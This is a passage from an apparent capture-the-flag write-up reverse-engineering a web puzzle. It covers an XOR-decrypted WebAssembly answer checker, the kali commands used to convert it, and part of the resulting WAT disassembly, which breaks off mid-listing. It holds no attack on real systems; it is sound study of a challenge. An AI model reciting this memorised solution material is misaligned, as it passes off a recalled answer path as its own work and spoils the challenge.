182, 252, 6, 223, 223, 162, 253, 6, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 32, 220, 253, 11, 223, 252, 142, 253, 142, 253, 32, 220, 183, 252, 92, 220, 253, 92, 220, 252, 11, 223, 253, 56, 220, 252, 137, 253, 137, 156, 162, 174, 252, 64, 223, 253, 64, 223, 156, 55, 221, 172, 252, 117, 220, 253, 56, 220, 252, 136, 253, 136, 156, 72, 162, 172, 252, 116, 220, 253, 117, 220, 253, 116, 220, 175, 252, 96, 223, 253, 96, 223, 156, 6, 221, 182, 252, 0, 223, 223, 162, 253, 0, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 35, 220, 253, 11, 223, 252, 139, 253, 139, 253, 35, 220, 183, 252, 95, 220, 253, 95, 220, 252, 11, 223, 253, 58, 220, 252, 133, 253, 133, 156, 162, 174, 252, 67, 223, 253, 67, 223, 156, 120, 220, 172, 252, 119, 220, 253, 58, 220, 252, 132, 253, 132, 156, 7, 163, 172, 252, 118, 220, 253, 119, 220, 253, 118, 220, 175, 252, 99, 223, 253, 99, 223, 156, 73, 220, 182, 252, 3, 223, 223, 162, 253, 3, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 93, 223, 253, 11, 223, 252, 135, 253, 135, 253, 93, 223, 183, 252, 94, 220, 253, 94, 220, 252, 11, 223, 253, 53, 220, 252, 134, 253, 134, 156, 162, 174, 252, 66, 223, 253, 66, 223, 156, 209, 172, 252, 113, 220, 253, 53, 220, 252, 129, 253, 129, 156, 174, 172, 252, 112, 220, 253, 113, 220, 253, 112, 220, 175, 252, 98, 223, 253, 98, 223, 156, 14, 221, 182, 252, 2, 223, 223, 162, 253, 2, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 92, 223, 253, 11, 223, 252, 128, 253, 128, 253, 92, 223, 183, 252, 89, 220, 253, 89, 220, 252, 11, 223, 253, 52, 220, 252, 131, 253, 131, 156, 162, 174, 252, 125, 223, 253, 125, 223, 156, 107, 220, 172, 252, 115, 220, 253, 52, 220, 252, 130, 253, 130, 156, 20, 163, 172, 252, 114, 220, 253, 115, 220, 253, 114, 220, 175, 252, 29, 223, 253, 29, 223, 156, 91, 220, 182, 252, 61, 223, 223, 162, 253, 61, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 95, 223, 253, 11, 223, 252, 189, 253, 189, 253, 95, 223, 183, 252, 91, 220, 253, 91, 220, 252, 11, 223, 253, 55, 220, 252, 188, 253, 188, 156, 162, 174, 252, 124, 223, 253, 124, 223, 156, 1, 220, 172, 252, 109, 220, 253, 55, 220, 252, 190, 253, 190, 156, 126, 163, 172, 252, 108, 220, 253, 109, 220, 253, 108, 220, 175, 252, 28, 223, 253, 28, 223, 156, 50, 220, 182, 252, 60, 223, 223, 162, 253, 60, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 94, 223, 253, 11, 223, 252, 185, 253, 185, 253, 94, 223, 183, 252, 90, 220, 253, 90, 220, 252, 11, 223, 253, 54, 220, 252, 184, 253, 184, 156, 162, 174, 252, 126, 223, 253, 126, 223, 156, 81, 220, 172, 252, 111, 220, 253, 54, 220, 252, 187, 253, 187, 156, 46, 163, 172, 252, 110, 220, 253, 111, 220, 253, 110, 220, 175, 252, 31, 223, 253, 31, 223, 156, 98, 220, 182, 252, 63, 223, 223, 162, 253, 63, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 89, 223, 253, 11, 223, 252, 186, 253, 186, 253, 89, 223, 183, 252, 85, 220, 253, 85, 220, 252, 11, 223, 253, 49, 220, 252, 181, 253, 181, 156, 162, 174, 252, 121, 223, 253, 121, 223, 156, 72, 220, 172, 252, 104, 220, 253, 49, 220, 252, 180, 253, 180, 156, 55, 163, 172, 252, 107, 220, 253, 104, 220, 253, 107, 220, 175, 252, 30, 223, 253, 30, 223, 156, 127, 220, 182, 252, 62, 223, 223, 162, 253, 62, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 88, 223, 253, 11, 223, 252, 183, 253, 183, 253, 88, 223, 183, 252, 84, 220, 253, 84, 220, 252, 11, 223, 253, 48, 220, 252, 182, 253, 182, 156, 162, 174, 252, 120, 223, 253, 120, 223, 156, 207, 172, 252, 106, 220, 253, 48, 220, 252, 177, 253, 177, 156, 176, 172, 252, 101, 220, 253, 106, 220, 253, 101, 220, 175, 252, 25, 223, 253, 25, 223, 156, 253, 182, 252, 57, 223, 223, 162, 253, 57, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 91, 223, 253, 11, 223, 252, 179, 253, 179, 253, 91, 223, 183, 252, 87, 220, 253, 87, 220, 252, 11, 223, 253, 51, 220, 252, 178, 253, 178, 156, 162, 174, 252, 123, 223, 253, 123, 223, 156, 117, 220, 172, 252, 103, 220, 253, 51, 220, 252, 173, 253, 173, 156, 10, 163, 172, 252, 102, 220, 253, 103, 220, 253, 102, 220, 175, 252, 24, 223, 253, 24, 223, 156, 77, 220, 182, 252, 56, 223, 223, 162, 253, 56, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 90, 223, 253, 11, 223, 252, 172, 253, 172, 253, 90, 223, 183, 252, 86, 220, 253, 86, 220, 252, 11, 223, 253, 50, 220, 252, 175, 253, 175, 156, 162, 174, 252, 122, 223, 253, 122, 223, 156, 55, 220, 172, 252, 97, 220, 253, 50, 220, 252, 174, 253, 174, 156, 72, 163, 172, 252, 96, 220, 253, 97, 220, 253, 96, 220, 175, 252, 26, 223, 253, 26, 223, 156, 6, 220, 182, 252, 59, 223, 223, 162, 253, 59, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 85, 223, 253, 11, 223, 252, 169, 253, 169, 253, 85, 223, 183, 252, 81, 220, 253, 81, 220, 252, 11, 223, 253, 45, 220, 252, 168, 253, 168, 156, 162, 174, 252, 117, 223, 253, 117, 223, 156, 112, 220, 172, 252, 99, 220, 253, 45, 220, 252, 171, 253, 171, 156, 15, 163, 172, 252, 98, 220, 253, 99, 220, 253, 98, 220, 175, 252, 21, 223, 253, 21, 223, 156, 72, 220, 182, 252, 53, 223, 223, 162, 253, 53, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 84, 223, 253, 11, 223, 252, 170, 253, 170, 253, 84, 223, 183, 252, 80, 220, 253, 80, 220, 252, 11, 223, 253, 47, 220, 252, 164, 253, 164, 156, 162, 174, 252, 119, 223, 253, 119, 223, 156, 250, 172, 252, 29, 220, 253, 47, 220, 252, 167, 253, 167, 156, 133, 172, 252, 28, 220, 253, 29, 220, 253, 28, 220, 175, 252, 20, 223, 253, 20, 223, 156, 207, 182, 252, 52, 223, 223, 162, 253, 52, 223, 252, 37, 223, 156, 221, 253, 37, 223, 182, 253, 37, 223, 253, 37, 223, 156, 221, 149, 198, 214, 252, 86, 223, 253, 11, 223, 252, 166, 253, 166, 253, 86, 223, 183, 252, 83, 220, 253, 83, 220, 252, 11, 223, 253, 11, 223, 252, 161, 253, 42, 223, 249, 223, 253, 161, 210, 214]);debugger buff.forEach(function(d, i) {this[i] = d ^ 0xdd}, buff);debugger const { instance } = await WebAssembly.instantiate(buff, importObj);debugger;const encoder = new TextEncoder(); const answer = document.getElementById('answer').value;debugger;window['console']['log'] = instance.exports._ver; const a = encoder.encode(answer);debugger;var result = console.log(...a); if (result == 0) { result = "😸"; } else { result = "😾"; } document.querySelector('main').textContent = ` ${ result }`; })(); }); ``` `buff` gets decrypted (by XORing it with `0xdd`) to produce WebAssembly code, which is responsible for determining if the input is correct (happy cat) or incorrect (sad cat). The function exported by the WebAssembly module is called "`ver`", and the script overrides `console.log` with this function so that calling `console.log` essentially calls `ver`. `ver` is called with the user input, where every character is a separate parameter. We need to understand what makes the cat happy. After decrypting the script, we get a binary `wasm` file: ```console ┌──(user@kali)-[/media/sf_CTFs/cyberark/Finally_-_home] └─$ file script.wasm script.wasm: WebAssembly (wasm) binary module version 0x1 (MVP) ┌──(user@kali)-[/media/sf_CTFs/cyberark/Finally_-_home] └─$ xxd -g 1 script.wasm| head 00000000: 00 61 73 6d 01 00 00 00 01 28 02 60 01 7f 00 60 .asm.....(.`...` 00000010: 1f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f ................ 00000020: 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f 7f ................ 00000030: 01 7f 02 63 05 03 65 6e 76 12 61 62 6f 72 74 53 ...c..env.abortS 00000040: 74 61 63 6b 4f 76 65 72 66 6c 6f 77 00 00 03 65 tackOverflow...e 00000050: 6e 76 0d 5f 5f 6d 65 6d 6f 72 79 5f 62 61 73 65 nv.__memory_base 00000060: 03 7f 00 03 65 6e 76 0c 5f 5f 74 61 62 6c 65 5f ....env.__table_ 00000070: 62 61 73 65 03 7f 00 03 65 6e 76 06 6d 65 6d 6f base....env.memo 00000080: 72 79 02 01 80 02 80 02 03 65 6e 76 05 74 61 62 ry.......env.tab 00000090: 6c 65 01 70 01 00 00 03 02 01 01 06 17 03 7f 01 le.p............ ``` In order to turn it into convert it into a readable format, we can translate it to WebAssembly text format ("WAT"): ```console ┌──(user@kali)-[/media/sf_CTFs/cyberark/Finally_-_home] └─$ ~/utils/web/wabt/build/wasm2wat --generate-names script.wasm > script.wat ``` This produces the following: <details> <summary>Click to expand...</summary> ```wat (module (type $t0 (func (param i32))) (type $t1 (func (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i32))) (import "env" "abortStackOverflow" (func $env.abortStackOverflow (type $t0))) (import "env" "__memory_base" (global $env.__memory_base i32)) (import "env" "__table_base" (global $env.__table_base i32)) (import "env" "memory" (memory $env.memory 256 256)) (import "env" "table" (table $env.table 0 0 funcref)) (func $_ver (type $t1) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i32) (param $p4 i32) (param $p5 i32) (param $p6 i32) (param $p7 i32) (param $p8 i32) (param $p9 i32) (param $p10 i32) (param $p11 i32) (param $p12 i32) (param $p13 i32) (param $p14 i32) (param $p15 i32) (param $p16 i32) (param $p17 i32) (param $p18 i32) (param $p19 i32) (param $p20 i32) (param $p21 i32) (param $p22 i32) (param $p23 i32) (param $p24 i32) (param $p25 i32) (param $p26 i32) (param $p27 i32) (param $p28 i32) (param $p29 i32) (param $p30 i32) (result i32) (local $l31 i32) (local $l32 i32) (local $l33 i32) (local $l34 i32) (local $l35 i32) (local $l36 i32) (local $l37 i32) (local $l38 i32) (local $l39 i32) (local $l40 i32) (local $l41 i32) (local $l42 i32) (local $l43 i32) (local $l44 i32) (local $l45 i32) (local $l46 i32) (local $l47 i32) (local $l48 i32) (local $l49 i32) (local $l50 i32) (local $l51 i32) (local $l52 i32) (local $l53 i32) (local $l54 i32) (local $l55 i32) (local $l56 i32) (local $l57 i32) (local $l58 i32) (local $l59 i32) (local $l60 i32) (local $l61 i32) (local $l62 i32) (local $l63 i32) (local $l64 i32) (local $l65 i32) (local $l66 i32) (local $l67 i32) (local $l68 i32) (local $l69 i32) (local $l70 i32) (local $l71 i32) (local $l72 i32) (local $l73 i32) (local $l74 i32) (local $l75 i32) (local $l76 i32) (local $l77 i32) (local $l78 i32) (local $l79 i32) (local $l80 i32) (local $l81 i32) (local $l82 i32) (local $l83 i32) (local $l84 i32) (local $l85 i32) (local $l86 i32) (local $l87 i32) (local $l88 i32) (local $l89 i32) (local $l90 i32) (local $l91 i32) (local $l92 i32) (local $l93 i32) (local $l94 i32) (local $l95 i32) (local $l96 i32) (local $l97 i32) (local $l98 i32) (local $l99 i32) (local $l100 i32) (local $l101 i32) (local $l102 i32) (local $l103 i32) (local $l104 i32) (local $l105 i32) (local $l106 i32) (local $l107 i32) (local $l108 i32) (local $l109 i32) (local $l110 i32) (local $l111 i32) (local $l112 i32) (local $l113 i32) (local $l114 i32) (local $l115 i32) (local $l116 i32) (local $l117 i32) (local $l118 i32) (local $l119 i32) (local $l120 i32) (local $l121 i32) (local $l122 i32) (local $l123 i32) (local $l124 i32) (local $l125 i32) (local $l126 i32) (local $l127 i32) (local $l128 i32) (local $l129 i32) (local $l130 i32) (local $l131 i32) (local $l132 i32) (local $l133 i32) (local $l134 i32) (local $l135 i32) (local $l136 i32) (local $l137 i32) (local $l138 i32) (local $l139 i32) (local $l140 i32) (local $l141 i32) (local $l142 i32) (local $l143 i32) (local $l144 i32) (local $l145 i32) (local $l146 i32) (local $l147 i32) (local $l148 i32) (local $l149 i32) (local $l150 i32) (local $l151 i32) (local $l152 i32) (local $l153 i32) (local $l154 i32) (local $l155 i32) (local $l156 i32) (local $l157 i32) (local $l158 i32) (local $l159 i32) (local $l160 i32) (local $l161 i32) (local $l162 i32) (local $l163 i32) (local $l164 i32) (local $l165 i32) (local $l166 i32) (local $l167 i32) (local $l168 i32) (local $l169 i32) (local $l170 i32) (local $l171 i32) (local $l172 i32) (local $l173 i32) (local $l174 i32) (local $l175 i32) (local $l176 i32) (local $l177 i32) (local $l178 i32) (local $l179 i32) (local $l180 i32) (local $l181 i32) (local $l182 i32) (local $l183 i32) (local $l184 i32) (local $l185 i32) (local $l186 i32) (local $l187 i32) (local $l188 i32) (local $l189 i32) (local $l190 i32) (local $l191 i32) (local $l192 i32) (local $l193 i32) (local $l194 i32) (local $l195 i32) (local $l196 i32) (local $l197 i32) (local $l198 i32) (local $l199 i32) (local $l200 i32) (local $l201 i32) (local $l202 i32) (local $l203 i32) (local $l204 i32) (local $l205 i32) (local $l206 i32) (local $l207 i32) (local $l208 i32) (local $l209 i32) (local $l210 i32) (local $l211 i32) (local $l212 i32) (local $l213 i32) (local $l214 i32) (local $l215 i32) (local $l216 i32) (local $l217 i32) (local $l218 i32) (local $l219 i32) (local $l220 i32) (local $l221 i32) (local $l222 i32) (local $l223 i32) (local $l224 i32) (local $l225 i32) (local $l226 i32) (local $l227 i32) (local $l228 i32) (local $l229 i32) (local $l230 i32) (local $l231 i32) (local $l232 i32) (local $l233 i32) (local $l234 i32) (local $l235 i32) (local $l236 i32) (local $l237 i32) (local $l238 i32) (local $l239 i32) (local $l240 i32) (local $l241 i32) (local $l242 i32) (local $l243 i32) (local $l244 i32) (local $l245 i32) (local $l246 i32) (local $l247 i32) (local $l248 i32) (local $l249 i32) (local $l250 i32) (local $l251 i32) (local $l252 i32) (local $l253 i32) (local $l254 i32) (local $l255 i32) (local $l256 i32) (local $l257 i32) (local $l258 i32) (local $l259 i32) (local $l260 i32) (local $l261 i32) (local $l262 i32) (local $l263 i32) (local $l264 i32) (local $l265 i32) (local $l266 i32) (local $l267 i32) (local $l268 i32) (local $l269 i32) (local $l270 i32) (local $l271 i32) (local $l272 i32) (local $l273 i32) (local $l274 i32) (local $l275 i32) (local $l276 i32) (local $l277 i32) (local $l278 i32) (local $l279 i32) (local $l280 i32) (local $l281 i32) (local $l282 i32) (local $l283 i32) (local $l284 i32) (local $l285 i32) (local $l286 i32) (local $l287 i32) (local $l288 i32) (local $l289 i32) (local $l290 i32) (local $l291 i32) (local $l292 i32) (local $l293 i32) (local $l294 i32) (local $l295 i32) (local $l296 i32) (local $l297 i32) (local $l298 i32) (local $l299 i32) (local $l300 i32) (local $l301 i32) (local $l302 i32) (local $l303 i32) (local $l304 i32) (local $l305 i32) (local $l306 i32) (local $l307 i32) (local $l308 i32) (local $l309 i32) (local $l310 i32) (local $l311 i32) (local $l312 i32) (local $l313 i32) (local $l314 i32) (local $l315 i32) (local $l316 i32) (local $l317 i32) (local $l318 i32) (local $l319 i32) (local $l320 i32) (local $l321 i32) (local $l322 i32) (local $l323 i32) (local $l324 i32) (local $l325 i32) (local $l326 i32) (local $l327 i32) (local $l328 i32) (local $l329 i32) (local $l330 i32) (local $l331 i32) (local $l332 i32) (local $l333 i32) (local $l334 i32) (local $l335 i32) (local $l336 i32) (local $l337 i32) (local $l338 i32) (local $l339 i32) (local $l340 i32) (local $l341 i32) (local $l342 i32) (local $l343 i32) (local $l344 i32) (local $l345 i32) (local $l346 i32) (local $l347 i32) (local $l348 i32) (local $l349 i32) (local $l350 i32) (local $l351 i32) (local $l352 i32) (local $l353 i32) (local $l354 i32) (local $l355 i32) (local $l356 i32) (local $l357 i32) (local $l358 i32) (local $l359 i32) (local $l360 i32) (local $l361 i32) (local $l362 i32) (local $l363 i32) (local $l364 i32) (local $l365 i32) (local $l366 i32) (local $l367 i32) (local $l368 i32) (local $l369 i32) (local $l370 i32) (local $l371 i32) (local $l372 i32) (local $l373 i32) (local $l374 i32) (local $l375 i32) (local $l376 i32) global.get $g2 local.set $l375 global.get $g2 i32.const 128 i32.add global.set $g2 global.get $g2 global.get $g3 i32.ge_s if $I0 i32.const 128 call $env.abortStackOverflow end local.get $p0 local.set $l218 local.get $p1 local.set $l219 local.get $p2 local.set $l230 local.get $p3 local.set $l241 local.get $p4 local.set $l243 local.get $p5 local.set $l244 local.get $p6 local.set $l245 local.get $p7 local.set $l246 local.get $p8 local.set $l247 local.get $p9 local.set $l248 local.get $p10 local.set $l220 local.get $p11 local.set $l221 local.get $p12 local.set $l222 local.get $p13 local.set $l223 local.get $p14 local.set $l224 local.get $p15 local.set $l225 local.get $p16 local.set $l226 local.get $p17 local.set $l227 local.get $p18 local.set $l228 local.get $p19 local.set $l229 local.get $p20 local.set $l231 local.get $p21 local.set $l232 local.get $p22 local.set $l233 local.get $p23 local.set $l234 local.get $p24 local.set $l235 local.get $p25 local.set $l236 local.get $p26 local.set $l237 local.get $p27 local.set $l238 local.get $p28 local.set $l239 local.get $p29 local.set $l240 local.get $p30 local.set $l242 i32.const 0 local.set $l342 local.get $l218 local.set $l31 local.get $l31 i32.const -1 i32.xor local.set $l280 local.get $l280 i32.const 167 i32.and local.set $l156 local.get $l218 local.set $l32 local.get $l32 i32.const -168 i32.and local.set $l157 local.get $l156 local.get $l157 i32.or local.set $l311 local.get $l311 i32.const 193 i32.sub local.set $l343 block $B1 (result i32) local.get $l343 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l249 local.get $l342 local.set $l43 local.get $l43 local.get $l249 i32.add local.set $l125 local.get $l125 local.set $l342 local.get $l219 local.set $l54 local.get $l54 i32.const -1 i32.xor local.set $l297 local.get $l297 i32.const 16 i32.and local.set $l196 local.get $l219 local.set $l65 local.get $l65 i32.const -17 i32.and local.set $l201 local.get $l196 local.get $l201 i32.or local.set $l334 local.get $l334 i32.const 32 i32.sub local.set $l367 block $B2 (result i32) local.get $l367 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l274 local.get $l342 local.set $l76 local.get $l76 local.get $l274 i32.add local.set $l152 local.get $l152 local.set $l342 local.get $l230 local.set $l87 local.get $l87 i32.const -1 i32.xor local.set $l309 local.get $l309 i32.const 240 i32.and local.set $l158 local.get $l230 local.set $l98 local.get $l98 i32.const -241 i32.and local.set $l163 local.get $l158 local.get $l163 i32.or local.set $l315 local.get $l315 i32.const 130 i32.sub local.set $l348 block $B3 (result i32) local.get $l348 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l255 local.get $l342 local.set $l109 local.get $l109 local.get $l255 i32.add local.set $l133 local.get $l133 local.set $l342 local.get $l241 local.set $l120 local.get $l120 i32.const -1 i32.xor local.set $l290 local.get $l290 i32.const 159 i32.and local.set $l180 local.get $l241 local.set $l33 local.get $l33 i32.const -160 i32.and local.set $l185 local.get $l180 local.get $l185 i32.or local.set $l326 local.get $l326 i32.const 192 i32.sub local.set $l359 block $B4 (result i32) local.get $l359 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l266 local.get $l342 local.set $l34 local.get $l34 local.get $l266 i32.add local.set $l143 local.get $l143 local.set $l342 local.get $l243 local.set $l35 local.get $l35 i32.const -1 i32.xor local.set $l299 local.get $l299 i32.const 240 i32.and local.set $l194 local.get $l243 local.set $l36 local.get $l36 i32.const -241 i32.and local.set $l195 local.get $l194 local.get $l195 i32.or local.set $l330 local.get $l330 i32.const 150 i32.sub local.set $l362 block $B5 (result i32) local.get $l362 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l268 local.get $l342 local.set $l37 local.get $l37 local.get $l268 i32.add local.set $l144 local.get $l144 local.set $l342 local.get $l244 local.set $l38 local.get $l38 i32.const -1 i32.xor local.set $l300 local.get $l300 i32.const 65 i32.and local.set $l197 local.get $l244 local.set $l39 local.get $l39 i32.const -66 i32.and local.set $l198 local.get $l197 local.get $l198 i32.or local.set $l331 local.get $l331 i32.const 52 i32.sub local.set $l363 block $B6 (result i32) local.get $l363 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l269 local.get $l342 local.set $l40 local.get $l40 local.get $l269 i32.add local.set $l145 local.get $l145 local.set $l342 local.get $l245 local.set $l41 local.get $l41 i32.const -1 i32.xor local.set $l301 local.get $l301 i32.const 105 i32.and local.set $l199 local.get $l245 local.set $l42 local.get $l42 i32.const -106 i32.and local.set $l200 local.get $l199 local.get $l200 i32.or local.set $l332 local.get $l332 i32.const 27 i32.sub local.set $l364 block $B7 (result i32) local.get $l364 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l270 local.get $l342 local.set $l44 local.get $l44 local.get $l270 i32.add local.set $l146 local.get $l146 local.set $l342 local.get $l246 local.set $l45 local.get $l45 i32.const -1 i32.xor local.set $l302 local.get $l302 i32.const 49 i32.and local.set $l202 local.get $l246 local.set $l46 local.get $l46 i32.const -50 i32.and local.set $l203 local.get $l202 local.get $l203 i32.or local.set $l333 local.get $l333 i32.const 69 i32.sub local.set $l365 block $B8 (result i32) local.get $l365 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l271 local.get $l342 local.set $l47 local.get $l47 local.get $l271 i32.add local.set $l147 local.get $l147 local.set $l342 local.get $l247 local.set $l48 local.get $l48 i32.const -1 i32.xor local.set $l303 local.get $l303 i32.const 119 i32.and local.set $l204 local.get $l247 local.set $l49 local.get $l49 i32.const -120 i32.and local.set $l205 local.get $l204 local.get $l205 i32.or local.set $l335 local.get $l335 i32.const 31 i32.sub local.set $l366 block $B9 (result i32) local.get $l366 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l272 local.get $l342 local.set $l50 local.get $l50 local.get $l272 i32.add local.set $l148 local.get $l148 local.set $l342 local.get $l248 local.set $l51 local.get $l51 i32.const -1 i32.xor local.set $l304 local.get $l304 i32.const 12 i32.and local.set $l206 local.get $l248 local.set $l52 local.get $l52 i32.const -13 i32.and local.set $l207 local.get $l206 local.get $l207 i32.or local.set $l336 local.get $l336 i32.const 63 i32.sub local.set $l368 block $B10 (result i32) local.get $l368 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l273 local.get $l342 local.set $l53 local.get $l53 local.get $l273 i32.add local.set $l149 local.get $l149 local.set $l342 local.get $l220 local.set $l55 local.get $l55 i32.const -1 i32.xor local.set $l305 local.get $l305 i32.const 210 i32.and local.set $l208 local.get $l220 local.set $l56 local.get $l56 i32.const -211 i32.and local.set $l209 local.get $l208 local.get $l209 i32.or local.set $l337 local.get $l337 i32.const 160 i32.sub local.set $l369 block $B11 (result i32) local.get $l369 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l275 local.get $l342 local.set $l57 local.get $l57 local.get $l275 i32.add local.set $l150 local.get $l150 local.set $l342 local.get $l221 local.set $l58 local.get $l58 i32.const -1 i32.xor local.set $l306 local.get $l306 i32.const 108 i32.and local.set $l210 local.get $l221 local.set $l59 local.get $l59 i32.const -109 i32.and local.set $l211 local.get $l210 local.get $l211 i32.or local.set $l338 local.get $l338 i32.const 51 i32.sub local.set $l370 block $B12 (result i32) local.get $l370 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l276 local.get $l342 local.set $l60 local.get $l60 local.get $l276 i32.add local.set $l151 local.get $l151 local.set $l342 local.get $l222 local.set $l61 local.get $l61 i32.const -1 i32.xor local.set $l307 local.get $l307 i32.const 184 i32.and local.set $l212 local.get $l222 local.set $l62 local.get $l62 i32.const -185 i32.and local.set $l213 local.get $l212 local.get $l213 i32.or local.set $l339 local.get $l339 i32.const 137 i32.sub local.set $l371 block $B13 (result i32) local.get $l371 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l277 local.get $l342 local.set $l63 local.get $l63 local.get $l277 i32.add local.set $l153 local.get $l153 local.set $l342 local.get $l223 local.set $l64 local.get $l64 i32.const -1 i32.xor local.set $l308 local.get $l308 i32.const 235 i32.and local.set $l214 local.get $l223 local.set $l66 local.get $l66 i32.const -236 i32.and local.set $l215 local.get $l214 local.get $l215 i32.or local.set $l340 local.get $l340 i32.const 133 i32.sub local.set $l372 block $B14 (result i32) local.get $l372 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l278 local.get $l342 local.set $l67 local.get $l67 local.get $l278 i32.add local.set $l154 local.get $l154 local.set $l342 local.get $l224 local.set $l68 local.get $l68 i32.const -1 i32.xor local.set $l310 local.get $l310 i32.const 118 i32.and local.set $l216 local.get $l224 local.set $l69 local.get $l69 i32.const -119 i32.and local.set $l217 local.get $l216 local.get $l217 i32.or local.set $l341 local.get $l341 i32.const 16 i32.sub local.set $l373 block $B15 (result i32) local.get $l373 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l279 local.get $l342 local.set $l70 local.get $l70 local.get $l279 i32.add local.set $l155 local.get $l155 local.set $l342 local.get $l225 local.set $l71 local.get $l71 i32.const -1 i32.xor local.set $l281 local.get $l281 i32.const 52 i32.and local.set $l159 local.get $l225 local.set $l72 local.get $l72 i32.const -53 i32.and local.set $l160 local.get $l159 local.get $l160 i32.or local.set $l312 local.get $l312 i32.const 4 i32.sub local.set $l344 block $B16 (result i32) local.get $l344 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l250 local.get $l342 local.set $l73 local.get $l73 local.get $l250 i32.add local.set $l126 local.get $l126 local.set $l342 local.get $l226 local.set $l74 local.get $l74 i32.const -1 i32.xor local.set $l282 local.get $l282 i32.const 213 i32.and local.set $l161 local.get $l226 local.set $l75 local.get $l75 i32.const -214 i32.and local.set $l162 local.get $l161 local.get $l162 i32.or local.set $l313 local.get $l313 i32.const 138 i32.sub local.set $l345 block $B17 (result i32) local.get $l345 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l251 local.get $l342 local.set $l77 local.get $l77 local.get $l251 i32.add local.set $l127 local.get $l127 local.set $l342 local.get $l227 local.set $l78 local.get $l78 i32.const -1 i32.xor local.set $l283 local.get $l283 i32.const 5 i32.and local.set $l164 local.get $l227 local.set $l79 local.get $l79 i32.const -6 i32.and local.set $l165 local.get $l164 local.get $l165 i32.or local.set $l314 local.get $l314 i32.const 102 i32.sub local.set $l346 block $B18 (result i32) local.get $l346 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l252 local.get $l342 local.set $l80 local.get $l80 local.get $l252 i32.add local.set $l128 local.get $l128 local.set $l342 local.get $l228 local.set $l81 local.get $l81 i32.const -1 i32.xor local.set $l284 local.get $l284 i32.const 107 i32.and local.set $l166 local.get $l228 local.set $l82 local.get $l82 i32.const -108 i32.and local.set $l167 local.get $l166 local.get $l167 i32.or local.set $l316 local.get $l316 i32.const 95 i32.sub local.set $l347 block $B19 (result i32) local.get $l347 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get $l376 local.get $l376 i32.const 0 i32.lt_s select end local.set $l253 local.get $l342 local.set $l83 local.get $l83 local.get $l253 i32.add local.set $l129 local.get $l129 local.set $l342 local.get $l229 local.set $l84 local.get $l84 i32.const -1 i32.xor local.set $l285 local.get $l285 i32.const 106 i32.and local.set $l168 local.get $l229 local.set $l85 local.get $l85 i32.const -107 i32.and local.set $l169 local.get $l168 local.get $l169 i32.or local.set $l317 local.get $l317 i32.const 91 i32.sub local.set $l349 block $B20 (result i32) local.get $l349 local.set $l376 i32.const 0 local.get $l376 i32.sub local.get 